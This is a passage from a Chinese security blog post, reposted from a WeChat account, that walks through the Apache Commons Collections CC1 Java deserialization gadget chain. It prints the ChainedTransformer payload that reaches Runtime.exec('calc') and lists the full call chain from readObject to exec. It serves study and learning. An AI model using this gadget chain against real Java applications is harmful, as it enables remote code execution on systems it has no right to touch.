如上图,该子类的又去调用了checkSetValue方法,这里注意是去用parent调用checkSetValue方法,而parent是AbstractInputCheckedMapDecorator对象实例,而由于AbstractInputCheckedMapDecorator虽然实现了checkSetValue方法,但子类重写了该方法,于是就会去子类中调用checkSetValue方法。我们进入到子类对应的方法

Java反序列化之CC1链

发现是用valueTransformer调用transform方法,而valueTransformer已经被我们赋值为chainedTransformer类对象实例,而该实例的值为如下:

Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]
{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke"new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };

经过chainedTransformer实例中的transform方法,会对上述数组元素分别调用transform方法,目的就是构造出Runtime类实例,并最终调用它的exec方法。那这里还需要注意ConstantTransformer类的作用:因为这里是调用ConstantTransformer类的transform方法,该它的transform方法是不论传入什么参数,始终返回一个常量,而该常量就是构造函数时候传入的参数(在这里就是Runtime.class类对象)

我们可以看看为何要有这个类的存在,如下图,在反序列化入口点,这里的setValue参数明显不可控,我们想要的是传入Runtime类对象,进而可以调用exec,但如果我们使用代码:new ConstantTransformer(Runtime.class),跟踪这条链子你会发现,最终的调用是这样的

Java反序列化之CC1链
Java反序列化之CC1链
Java反序列化之CC1链

如上两幅图,最终在先调用ConstantTransformer的transform方法时,也就是返回的第一个Object对象就是常量iConstant,这里已经被赋值为了Runtime.class,完美解决上述入口点参数不可控的问题。

至此回顾完上述链子

总结

这里总结一下链子

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map().setValue()
TransformedMap.decorateMap
ChainedTransformer.transformer()
ConstantTransformer.transformer()
InvokerTransformer.transformer()
Method.getMethod
getMethod.getRuntime
InvokerTransformer.transformer()
Method.invoke
Runtime.getRuntime
InvokerTransformer.transformer()
Method.exec
Runtime.getRuntime.exec

到这里算是完成Java反序列化的第一个链子了,总的来说,分析过程并不顺利,且基本是靠着文章过来的,没有自己的见解,并且也感受到了自身Java基础有亿点点薄弱(就知道个基础语法),根据师傅的建议,下去看看Java se等相关Java开发的教程,对整个代码布局和写法有个理解,不然分析的时候,完全得靠文章和GPT,进步肯定微弱。

只能说任重道远,接下来依旧是分析一些常见的Java反序列化链子,对Java反序列化有一个较深的理解。

参考文章

[Java反序列化CommonsCollections篇(一) CC1链手写EXP](https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.999.0.0&vd_source=17c849b13416e3dfa1be2486b797e386)

[JAVA安全初探(三):CC1链全分析](https://xz.aliyun.com/t/12669?time__1311=mqmhDvqIxfgD8DlxGo4%2BxCw1%2BOwxG%3DqNqQ4D&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-3)

Java 反序列化之CC1链(https://www.lianqing.xyz/?p=532)

加下方wx,拉你一起进群学习

Java反序列化之CC1链

原文始发于微信公众号(红队蓝军):Java反序列化之CC1链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月22日21:34:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化之CC1链https://cn-sec.com/archives/2767442.html

发表评论

匿名网友 填写信息